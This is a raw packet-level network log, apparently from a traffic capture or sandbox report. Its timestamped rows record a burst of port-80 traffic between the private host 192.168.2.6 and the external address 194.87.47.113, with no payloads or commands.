Dec 19, 2024 08:09:37.523914099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.524043083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.524106026 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.525425911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.525532961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.526921988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.526971102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.527019978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.528415918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.528445959 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.528533936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.528862000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.529928923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.530039072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.530230999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.531431913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.531557083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.531733036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.532929897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.533020020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.533276081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.534349918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.534466982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.534521103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.535836935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.535928965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.536784887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.537285089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.537403107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.537580013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.538752079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.538805008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.539217949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.540232897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.540330887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.540826082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.541667938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.541810036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.543100119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.543257952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.543296099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.543900967 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.544594049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.544684887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.544845104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.546057940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.546123028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.547451973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.547563076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.547588110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.548399925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.548872948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.549030066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.549206018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.550328970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.550436974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.550596952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.551791906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.551877975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.551996946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.553221941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.553332090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.553385019 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.554630041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.554718018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.555748940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.556107044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.556166887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.556878090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.557495117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.557617903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.557667017 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.558962107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.559042931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.560342073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.560417891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.560444117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.560534000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.561743975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.561876059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.561939955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.563159943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.563270092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.563350916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.564559937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.564680099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.564778090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.565972090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.566113949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.567399979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.567487001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.567507982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.568367958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.568758965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.568891048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.569009066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.570203066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.570290089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.571631908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.571702003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.571726084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.572778940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.573021889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.573123932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.574300051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.574398994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.574421883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.575676918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.575800896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.575824976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.576783895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.577049017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.577168941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.578438997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.578542948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.578567982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.578594923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.579787016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.579926968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.580926895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.581382990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.581465006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.581554890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.582505941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.582623959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.582695007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.583844900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.583959103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.584063053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.585242033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.585351944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.585472107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.586548090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.586656094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.586707115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.587968111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.587980986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.588196993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.589287043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.589401960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.590038061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.590667963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.590758085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.591041088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.591979027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.592078924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.592140913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.593287945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.593384027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.594645977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.594746113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.594775915 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.595952988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.596013069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.596048117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.596452951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.597265959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.597306967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.597559929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.598613977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.598675966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.599950075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.600071907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.600101948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.601211071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.601243973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.601250887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.602504015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.602535963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.602631092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.603364944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.603823900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.603929996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.605163097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.605195999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.605267048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.605374098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.606461048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.606565952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.606678963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.607770920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.607891083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.607950926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.609097004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.609163046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.610367060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.610492945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.610523939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.611728907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.611769915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.611807108 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.611897945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.613042116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.613164902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.614231110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.614294052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.614324093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.615509033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.615669012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.615705013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.616801023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.616835117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.616875887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.617799997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.618144989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.618262053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.618570089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.619353056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.619441986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.619575024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.620661974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.620769978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.620918036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.621860981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.621989965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.622086048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.623121023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.623219967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.623354912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.624417067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.624496937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.624800920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.625642061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.625735044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.625886917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.626873016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.626992941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.627336979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.628149986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.628257036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.628329992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.629417896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.629528046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.629796028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.630701065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.630809069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.630863905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.631964922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.632075071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.632556915 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.633167982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.633364916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.633467913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.634511948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.634637117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.634718895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.635699987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.635751009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.636449099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.636882067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.637027025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.637512922 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.638128996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.638238907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.638329983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.639419079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.639518023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.640223026 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.640624046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.640772104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.640882969 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.641886950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.642028093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.642335892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.643124104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.643227100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.643573046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.644360065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.644474983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.644790888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.645679951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.645734072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.645988941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.646867037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.646970034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.647190094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.648118973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.648224115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.648312092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.649358988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.649450064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.650621891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.650688887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.650732040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.650901079 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.651880026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.651926994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.652122974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.653116941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.653304100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.653650999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.654381037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.654438972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.654544115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.655637980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.655714035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.655924082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.656824112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.656939030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.656997919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.658063889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.658180952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.658780098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.659920931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.659934998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.660068035 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.660924911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.661032915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.661257982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.661830902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.661907911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.662206888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.663039923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.663176060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.663767099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.664352894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.664500952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.664906025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.665523052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.665649891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.665745974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.666745901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.666826963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.667263031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.673893929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.674099922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.674762964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.674906969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.674921989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.675097942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.675692081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.675858974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.676784039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.676899910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.676965952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.677171946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.678158998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.678236961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.678368092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.679367065 CET	80	49862	194.87.47.113	192.168.2.6
